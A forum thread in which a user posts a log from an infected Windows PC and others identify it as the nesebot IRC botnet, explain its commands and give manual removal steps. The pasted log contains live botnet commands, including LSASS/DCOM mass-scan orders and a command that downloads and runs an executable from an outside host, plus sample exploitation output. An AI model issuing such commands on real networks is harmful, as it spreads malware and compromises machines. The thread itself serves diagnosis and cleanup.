:dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot :dev.null NOTICE militia-63179752 :RESTART: by god[josh@dev.null] NICK militia-22588940 USER shmnfwfz 0 0 :militia-22588940 :dev.null 001 militia-22588940 : USERHOST militia-22588940 MODE militia-22588940 -x+B JOIN #nesebot nesebot :dev.null 002 militia-22588940 : :dev.null 003 militia-22588940 : :dev.null 004 militia-22588940 :dev.null 302 militia-22588940 :militia-22588940=+~shmnfwfz@81.157.111.212 :dev.null 501 militia-22588940 :Unknown MODE flag :god TOPIC #nesebot :.advscan lsass 99 5 9999 -b -r -s :god TOPIC #nesebot :.advscan dcass 99 5 9999 -b -r -s PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-32148250 USER eshtdjnvjg 0 0 :militia-32148250 :dev.null 001 militia-32148250 : USERHOST militia-32148250 MODE militia-32148250 -x+B JOIN #nesebot nesebot :dev.null 002 militia-32148250 : :dev.null 003 militia-32148250 : :dev.null 004 militia-32148250 :dev.null 302 militia-32148250 :militia-32148250=+~eshtdjnvj@81.157.24.186 :dev.null 501 militia-32148250 :Unknown MODE flag :dev.null 332 militia-32148250 #nesebot :.advscan dcass 99 5 9999 -b -r -s :dev.null 333 militia-32148250 #nesebot god 1102018858 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-01675861 USER wjlnfywu 0 0 :militia-01675861 :dev.null 001 militia-01675861 : USERHOST militia-01675861 MODE militia-01675861 -x+B JOIN #nesebot nesebot :dev.null 002 militia-01675861 : :dev.null 003 militia-01675861 : :dev.null 004 militia-01675861 :dev.null 302 militia-01675861 :militia-01675861=+~wjlnfywu@81.157.28.154 :dev.null 501 militia-01675861 :Unknown MODE flag :dev.null 332 militia-01675861 #nesebot :.advscan dcass 99 5 9999 -b -r -s :dev.null 333 militia-01675861 #nesebot god 1102018858 NICK militia-76036428 USER rkxhyisji 0 0 :militia-76036428 :dev.null 001 militia-76036428 : USERHOST militia-76036428 MODE militia-76036428 -x+B JOIN #nesebot nesebot :dev.null 002 militia-76036428 : :dev.null 003 militia-76036428 : :dev.null 004 militia-76036428 :dev.null 302 militia-76036428 :militia-76036428=+~rkxhyisji@81.157.31.65 :dev.null 501 militia-76036428 :Unknown MODE flag :dev.null 332 militia-76036428 #nesebot :.advscan dcass 99 5 9999 -b -r -s :dev.null 333 militia-76036428 #nesebot god 1102018858 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-15938468 USER bahgvkzvr 0 0 :militia-15938468 :dev.null 001 militia-15938468 : USERHOST militia-15938468 MODE militia-15938468 -x+B JOIN #nesebot nesebot :dev.null 002 militia-15938468 : :dev.null 003 militia-15938468 : :dev.null 004 militia-15938468 :dev.null 302 militia-15938468 :militia-15938468=+~bahgvkzvr@81.157.28.33 :dev.null 501 militia-15938468 :Unknown MODE flag :dev.null 332 militia-15938468 #nesebot :.advscan dcass 99 5 9999 -b -r -s :dev.null 333 militia-15938468 #nesebot god 1102018858 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-75406959 USER mogsqpmr 0 0 :militia-75406959 :dev.null 001 militia-75406959 : USERHOST militia-75406959 MODE militia-75406959 -x+B JOIN #nesebot nesebot :dev.null 002 militia-75406959 : :dev.null 003 militia-75406959 : :dev.null 004 militia-75406959 :dev.null 302 militia-75406959 :militia-75406959=+~mogsqpmr@81.156.222.122 :dev.null 501 militia-75406959 :Unknown MODE flag :dev.null 332 militia-75406959 #nesebot :.advscan dcass 99 5 9999 -b -r -s :dev.null 333 militia-75406959 #nesebot god 1102018858 PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-38715014 USER phzulfrbjk 0 0 :militia-38715014 :dev.null 433 * militia-38715014 :Nickname is already in use. NICK militia-20957522 :dev.null 001 militia-20957522 : USERHOST militia-20957522 MODE militia-20957522 -x+B JOIN #nesebot nesebot :dev.null 002 militia-20957522 : :dev.null 003 militia-20957522 : :dev.null 004 militia-20957522 :dev.null 302 militia-20957522 :militia-20957522=+~phzulfrbj@81.156.166.118 :dev.null 501 militia-20957522 :Unknown MODE flag :dev.null 332 militia-20957522 #nesebot :.advscan dcass 99 5 9999 -b -r -s :dev.null 333 militia-20957522 #nesebot god 1102018858 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot :god TOPIC #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null NOTICE militia-20957522 :RESTART: by god[josh@dev.null] NICK militia-58699968 USER myhsaccpcj 0 0 :militia-58699968 :dev.null 001 militia-58699968 : USERHOST militia-58699968 MODE militia-58699968 -x+B JOIN #nesebot nesebot :dev.null 002 militia-58699968 : :dev.null 003 militia-58699968 : :dev.null 004 militia-58699968 :dev.null 302 militia-58699968 :militia-58699968=+~myhsaccpc@81.156.166.118 :dev.null 501 militia-58699968 :Unknown MODE flag :dev.null 332 militia-58699968 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 100 scanning threads. Too many specified. :dev.null 333 militia-58699968 #nesebot god 1102114680 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-11594113 USER zuruigxisq 0 0 :militia-11594113 :dev.null 001 militia-11594113 : USERHOST militia-11594113 MODE militia-11594113 -x+B JOIN #nesebot nesebot :dev.null 002 militia-11594113 : :dev.null 003 militia-11594113 : :dev.null 004 militia-11594113 :dev.null 302 militia-11594113 :militia-11594113=+~zuruigxis@81.157.26.30 :dev.null 501 militia-11594113 :Unknown MODE flag :dev.null 332 militia-11594113 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-11594113 #nesebot god 1102114680 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot :militia-53112623!~metricuk@ACBE443E.ipt.aol.com NICK :militia-53112634 :militia-53112634!~metricuk@ACBE443E.ipt.aol.com NICK :militia-43112634 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot :militia-531126522!~militia53@202.84.246.251 NICK :militia-765324534 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-90399448 USER jddgwjefk 0 0 :militia-90399448 :dev.null 001 militia-90399448 : USERHOST militia-90399448 MODE militia-90399448 -x+B JOIN #nesebot nesebot :dev.null 002 militia-90399448 : :dev.null 003 militia-90399448 : :dev.null 004 militia-90399448 :dev.null 302 militia-90399448 :militia-90399448=+~jddgwjefk@81.157.105.83 :dev.null 501 militia-90399448 :Unknown MODE flag :dev.null 332 militia-90399448 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-90399448 #nesebot god 1102114680 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-04648740 USER hwezbhuc 0 0 :militia-04648740 :dev.null 001 militia-04648740 : USERHOST militia-04648740 MODE militia-04648740 -x+B JOIN #nesebot nesebot :dev.null 002 militia-04648740 : :dev.null 003 militia-04648740 : :dev.null 004 militia-04648740 :dev.null 302 militia-04648740 :militia-04648740=+~hwezbhuc@81.157.24.241 :dev.null 501 militia-04648740 :Unknown MODE flag :dev.null 332 militia-04648740 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-04648740 #nesebot god 1102114680 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-28462685 USER irkfswyxqo 0 0 :militia-28462685 :dev.null 001 militia-28462685 : USERHOST militia-28462685 MODE militia-28462685 -x+B JOIN #nesebot nesebot :dev.null 002 militia-28462685 : :dev.null 003 militia-28462685 : :dev.null 004 militia-28462685 :dev.null 302 militia-28462685 :militia-28462685=+~irkfswyxq@81.156.165.108 :dev.null 501 militia-28462685 :Unknown MODE flag :dev.null 332 militia-28462685 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-28462685 #nesebot god 1102114680 PING :dev.null PONG :dev.null JOIN #nesebot nesebot :god!fatman@nese PRIVMSG #nesebot :.l nesebot -s :god!fatman@nese PRIVMSG #nesebot :.download http://216.10.22.67/~bitoper/darkacid.exe c:\windows\system32\lsasss.exe 1 -s PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-83101892 USER nbqodhokni 0 0 :militia-83101892 :dev.null 001 militia-83101892 : USERHOST militia-83101892 MODE militia-83101892 -x+B JOIN #nesebot nesebot :dev.null 002 militia-83101892 : :dev.null 003 militia-83101892 : :dev.null 004 militia-83101892 :dev.null 302 militia-83101892 :militia-83101892=+~nbqodhokn@81.157.24.174 :dev.null 501 militia-83101892 :Unknown MODE flag :dev.null 332 militia-83101892 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-83101892 #nesebot god 1102114680 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot It seems to grow in size each time (is 41kb atm) the window mentioned comes up. I really have no idea what this is or what to do about it to be honest, I will look around on the internet. ( I am currently having to restart my PC (not just disconnect and re-connect) every few hours to keep my internet going. My instinct is that someone has slid a trojan into my system (see first dozen or so lines of text document). However, I may be completely off target with that thought. Anyway, thanks all. I'll post if I sort it out. Share this post Link to post
Malaris 0 Posted December 5, 2004 thanks for the info APK. Turns out that DSO Exploit is basically a security hole in Internet Explorer, allowing hackers to get into my system and allowing untrusted software to run. Spybot does pick it up and delete the checked registry entries, but doesn't completely wipe it off ur system (hence why my internet ran better after I used Spybot, but still had the problem). If ALL patches for Internet Explorer and ALL updates for WinXP are downloaded and installed, it WILL NOT affect your system.(I guess there's a lesson I should learn here....). However, it is possible to remove it by editing the registry keys, something I am not overly confident in, but am competent at none-the-less. A fix guide for any novice users or people unsure of what to do, can be found HERE . Yet to try this out (It's pretty late here, wait, it's VERY early in the morning here 8) , so I'll tackle this tomorrow), but it seems that this is regarded as a fix by many websites and has an extremely high if not perfect succes rate. Share this post Link to post
Malaris 0 Posted December 5, 2004 Indeed I do! I guess thta is probably the more likely conclusion, I am generally quute safe when surfing and downloading etc. Pretyt much the only thing I used IE for is to dwonload Firefox! Too amny spelling mistakes, thkni it's time I hit the sack! I'll try those solutions tomorrwo and keep you psoted onm any progress. Share this post Link to post
XP1 0 Posted December 17, 2004 what i see here could be the nesebot, it is a irc hacking bot that can do more than rxbot. it can keylog and stuff, xdcc downloading could be the anser is to why your connection is slow it connects to an irc server and waits for the admin's commands Share this post Link to post
sepultura 0 Posted January 3, 2005 Hi I can explain this to you. You are infected with a bot called nesebot. Nesebot is an irc bot which scans and spreads through a windows exploit called lsass or dcass. It gets into your machine and then it reports to an irc (internet relay chat)channel deignated by the hacker. The hacker then gives the "bot", you computer, and all the other computers that are infected and idling in the irc channel, commands to scan for other vulnerable pcs and to do other tasks such as ddos attacks and various ither malicious things. The file you were looking at is the log file for the bot. It logs everyhting the bot does. It tells you the channel name your bot is reporting to is #nesebot, I gues the hacker wasn't too creative this time, he named the irc channel the name of the bot. It tells you everything the bot, your pc, is doing for the hacker. For instance: .advscan dcass 200 5 9999 -b -r -s this command tells ur machine to scan 200 pcs a minute with a 5 second delay for a total of 9999 minute for the dcass exploit. Every time your mahcine finds a vulnerable ip it copies itself to the machine and this is how it spreads. Thats what the dos screen your seeing says file copied over and over. This is what the hacker sees in his irc channel: [14:55] <IVAN-S2QEF6X5JG856> lsass: exploited (62.83.2.109) [14:55] <COMPAQ473> ftp: 81.39.58.218 -> (315392 bytes) (total sends: 1) [14:55] <RUDI306> lsass: exploited (84.130.48.186) [14:55] <HOME-ZTGPNTDNZY183> lsass: exploited (4.27.94.217) [14:55] <DAVOR048> lsass: exploited (209.29.46.249) [14:55] <DAVOR048> ftp: 209.29.46.249 on 15440 [14:55] <IVAN-S2QEF6X5JG856> ftp: 62.83.2.109 on 16029 [14:55] <DB7WND31758> lsass: exploited (4.231.174.82) [14:55] <PYPE-PDXL20442E970> lsass: exploited (192.168.0.186) [14:55] <YOUR-2ISY4XSPOD648> lsass: exploited (4.161.33.135) [14:55] <YOUR-2ISY4XSPOD648> ftp: 4.161.33.135 on 5308 [14:55] <AUGACONS-0L6KTE464> lsass: exploited (83.40.127.9) Each one of those is an infected pc scanning and spreading for him, and then reporting the results to him. The -b means to scan the first 2 numbers of ur ip range and then random numbers after that. So if your ip is 81.157.105.238, which it seems it is from the log, then the bot was told to scan 81.157.x.x. -r means random numbers not sequential, and the -s means silent mode meaning the bot won't relay the reposnses it gives to the irc channel it is idling in when he issues the command. If he left the -s out the bot would respond like this to the command: [sCAN]: Random Port Scan started on 81.157.x.x:445 with a delay of 5 seconds for 9999 minutes using 200 threads. Well this is how you remove it. The bot will reside in C:\windows\system32. An easy way to find it is to list your system32 folder by "date modified" it will be a recently added .exe file with a funky name such as winhlp32.exe, bling.exe, wuamgrd.exe, wualct1.exe, msn32.exe, msc32.exe, etc. The hacker can call the exe whatever he wants when he creates the bot, so it can be anything. But there shouldn't be new exe's in system32 unless u did an upgrade recently. All you have to do is google for the exe if your not sure and if it doesn't google to the micorsoft database then you know thats the one. Then open task manager, (hold down ctrl/alt/del together), click the processes tab, and find the process and terminate it, then u can delete the exe from system32. Then you need to remove the registry entrie that start the bot. Goto start/run and the type regedit and click ok. Here is where you need to go to delete the 3 keys the bot has created: HKEY_LOCAL_MACHINE\SOFTWARE\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx In each of those 3 folders you will see the registry entries for whatever the exe name was, they will have a bogus description but they will point to that exe. Delete them. All 3 need to be deleted or the bot can return, becase a backup dat file is somewhere on your machine, it is a copy of the bot in case you delete the exe. So make sure you delete the 3 registry entries. If you need more help email me at mattc72@comcast.net. I am very familar with the code for nesebot and rxbot and other irc bots so I know how it works and how to remove it. If you dont remove it your internet connection will be very slow because you pc is scanning 200 ips addresses every min all the time. Besides that nothing really malicous will happen to your pc, just major bandwith loss. To avoid this happening in the future make sure you frequently get the microsoft patches for new exploits, and it doesn't hurt to become familar with the processes running in task manager so you can identify when a bogus virus/spyware/bot exe is running and kill it immediately. I hope this helps. Share this post Link to post
sepultura 0 Posted January 3, 2005 Hi I can explain this to you. You are infected with a bot called nesebot. Nesebot is an irc bot which scans and spreads through a windows exploit called lsass or dcass. It gets into your machine and then it reports to an irc (internet relay chat)channel deignated by the hacker. The hacker then gives the "bot", you computer, and all the other computers that are infected and idling in the irc channel, commands to scan for other vulnerable pcs and to do other tasks such as ddos attacks and various other malicious things. The file you were looking at is the log file for the bot. It logs everyhting the bot does. It tells you the channel name your bot is reporting to is #nesebot, I gues the hacker wasn't too creative this time, he named the irc channel the name of the bot. It tells you everything the bot, your pc, is doing for the hacker. For instance: .advscan dcass 200 5 9999 -b -r -s this command tells ur machine to scan 200 pcs a minute with a 5 second delay for a total of 9999 minute for the dcass exploit. Every time your mahcine finds a vulnerable ip it copies itself to the machine and this is how it spreads. Thats what the dos screen your seeing says file copied over and over. This is what the hacker sees in his irc channel: [14:55] <IVAN-S2QEF6X5JG856> lsass: exploited (62.83.2.109) [14:55] <COMPAQ473> ftp: 81.39.58.218 -> (315392 bytes) (total sends: 1) [14:55] <RUDI306> lsass: exploited (84.130.48.186) [14:55] <HOME-ZTGPNTDNZY183> lsass: exploited (4.27.94.217) [14:55] <DAVOR048> lsass: exploited (209.29.46.249) [14:55] <DAVOR048> ftp: 209.29.46.249 on 15440 [14:55] <IVAN-S2QEF6X5JG856> ftp: 62.83.2.109 on 16029 [14:55] <DB7WND31758> lsass: exploited (4.231.174.82) [14:55] <PYPE-PDXL20442E970> lsass: exploited (192.168.0.186) [14:55] <YOUR-2ISY4XSPOD648> lsass: exploited (4.161.33.135) [14:55] <YOUR-2ISY4XSPOD648> ftp: 4.161.33.135 on 5308 [14:55] <AUGACONS-0L6KTE464> lsass: exploited (83.40.127.9) Each one of those is an infected pc scanning and spreading for him, and then reporting the results to him. The -b means to scan the first 2 numbers of ur ip range and then random numbers after that. So if your ip is 81.157.105.238, which it seems it is from the log, then the bot was told to scan 81.157.x.x. -r means random numbers not sequential, and the -s means silent mode meaning the bot won't relay the reposnses it gives to the irc channel it is idling in when he issues the command. If he left the -s out the bot would respond like this to the command: [sCAN]: Random Port Scan started on 81.157.x.x:445 with a delay of 5 seconds for 9999 minutes using 200 threads. Well this is how you remove it. The bot will reside in C:\windows\system32. An easy way to find it is to list your system32 folder by "date modified" it will be a recently added .exe file with a funky name such as winhlp32.exe, bling.exe, wuamgrd.exe, wualct1.exe, msn32.exe, msc32.exe, etc. The hacker can call the exe whatever he wants when he creates the bot, so it can be anything. But there shouldn't be new exe's in system32 unless u did an upgrade recently. All you have to do is google for the exe if your not sure and if it doesn't google to the micorsoft database then you know thats the one. Then open task manager, (hold down ctrl/alt/del together), click the processes tab, and find the process and terminate it, then u can delete the exe from system32. Then you need to remove the registry entry that start the bot. Goto start/run and the type regedit and click ok. Here is where you need to go to delete the 3 keys the bot has created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx In each of those 3 folders you will see the registry entries for whatever the exe name was, they will have a bogus description but they will point to that exe. Delete them. All 3 need to be deleted or the bot can return, becase a backup dat file is somewhere on your machine, it is a copy of the bot in case you delete the exe. So make sure you delete the 3 registry entries. If you need more help email me at mattc72@comcast.net. I am very familar with the code for nesebot and rxbot and other irc bots so I know how it works and how to remove it. If you dont remove it your internet connection will be very slow because you pc is scanning 200 ips addresses every min all the time. Besides that nothing really malicous will happen to your pc, just major bandwith loss. To avoid this happening in the future make sure you frequently get the microsoft patches for new exploits, and it doesn't hurt to become familar with the processes running in task manager so you can identify when a bogus virus/spyware/bot exe is running and kill it immediately. I hope this helps. Share this post Link to post
Malaris 0 Posted January 3, 2005 Thanks for the info all! Anyways should of mentioned this earlier, but i fixed this way back, just installed one of my older AV software. Kaspersky Anti-Virus,did the trick before I even attempted a manual fix Share this post Link to post
XP1 0 Posted April 2, 2005 Couldn't have said it better.............. Originally posted by sepultura: Quote: Hi I can explain this to you. You are infected with a bot called nesebot. Nesebot is an irc bot which scans and spreads through a windows exploit called lsass or dcass. It gets into your machine and then it reports to an irc (internet relay chat)channel deignated by the hacker. The hacker then gives the "bot", you computer, and all the other computers that are infected and idling in the irc channel, commands to scan for other vulnerable pcs and to do other tasks such as ddos attacks and various other malicious things. The file you were looking at is the log file for the bot. It logs everyhting the bot does. It tells you the channel name your bot is reporting to is #nesebot, I gues the hacker wasn't too creative this time, he named the irc channel the name of the bot. It tells you everything the bot, your pc, is doing for the hacker. For instance: .advscan dcass 200 5 9999 -b -r -s this command tells ur machine to scan 200 pcs a minute with a 5 second delay for a total of 9999 minute for the dcass exploit. Every time your mahcine finds a vulnerable ip it copies itself to the machine and this is how it spreads. Thats what the dos screen your seeing says file copied over and over. This is what the hacker sees in his irc channel: [14:55] <IVAN-S2QEF6X5JG856> lsass: exploited (62.83.2.109) [14:55] <COMPAQ473> ftp: 81.39.58.218 -> (315392 bytes) (total sends: 1) [14:55] <RUDI306> lsass: exploited (84.130.48.186) [14:55] <HOME-ZTGPNTDNZY183> lsass: exploited (4.27.94.217) [14:55] <DAVOR048> lsass: exploited (209.29.46.249) [14:55] <DAVOR048> ftp: 209.29.46.249 on 15440 [14:55] <IVAN-S2QEF6X5JG856> ftp: 62.83.2.109 on 16029 [14:55] <DB7WND31758> lsass: exploited (4.231.174.82) [14:55] <PYPE-PDXL20442E970> lsass: exploited (192.168.0.186) [14:55] <YOUR-2ISY4XSPOD648> lsass: exploited (4.161.33.135) [14:55] <YOUR-2ISY4XSPOD648> ftp: 4.161.33.135 on 5308 [14:55] <AUGACONS-0L6KTE464> lsass: exploited (83.40.127.9) Each one of those is an infected pc scanning and spreading for him, and then reporting the results to him. The -b means to scan the first 2 numbers of ur ip range and then random numbers after that. So if your ip is 81.157.105.238, which it seems it is from the log, then the bot was told to scan 81.157.x.x. -r means random numbers not sequential, and the -s means silent mode meaning the bot won't relay the reposnses it gives to the irc channel it is idling in when he issues the command. If he left the -s out the bot would respond like this to the command: [sCAN]: Random Port Scan started on 81.157.x.x:445 with a delay of 5 seconds for 9999 minutes using 200 threads. Well this is how you remove it. The bot will reside in C:\windows\system32. An easy way to find it is to list your system32 folder by "date modified" it will be a recently added .exe file with a funky name such as winhlp32.exe, bling.exe, wuamgrd.exe, wualct1.exe, msn32.exe, msc32.exe, etc. The hacker can call the exe whatever he wants when he creates the bot, so it can be anything. But there shouldn't be new exe's in system32 unless u did an upgrade recently. All you have to do is google for the exe if your not sure and if it doesn't google to the micorsoft database then you know thats the one. Then open task manager, (hold down ctrl/alt/del together), click the processes tab, and find the process and terminate it, then u can delete the exe from system32. Then you need to remove the registry entry that start the bot. Goto start/run and the type regedit and click ok. Here is where you need to go to delete the 3 keys the bot has created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx In each of those 3 folders you will see the registry entries for whatever the exe name was, they will have a bogus description but they will point to that exe. Delete them. All 3 need to be deleted or the bot can return, becase a backup dat file is somewhere on your machine, it is a copy of the bot in case you delete the exe. So make sure you delete the 3 registry entries. If you need more help email me at mattc72@comcast.net. I am very familar with the code for nesebot and rxbot and other irc bots so I know how it works and how to remove it. If you dont remove it your internet connection will be very slow because you pc is scanning 200 ips addresses every min all the time. Besides that nothing really malicous will happen to your pc, just major bandwith loss. To avoid this happening in the future make sure you frequently get the microsoft patches for new exploits, and it doesn't hurt to become familar with the processes running in task manager so you can identify when a bogus virus/spyware/bot exe is running and kill it immediately. I hope this helps. Share this post Link to post
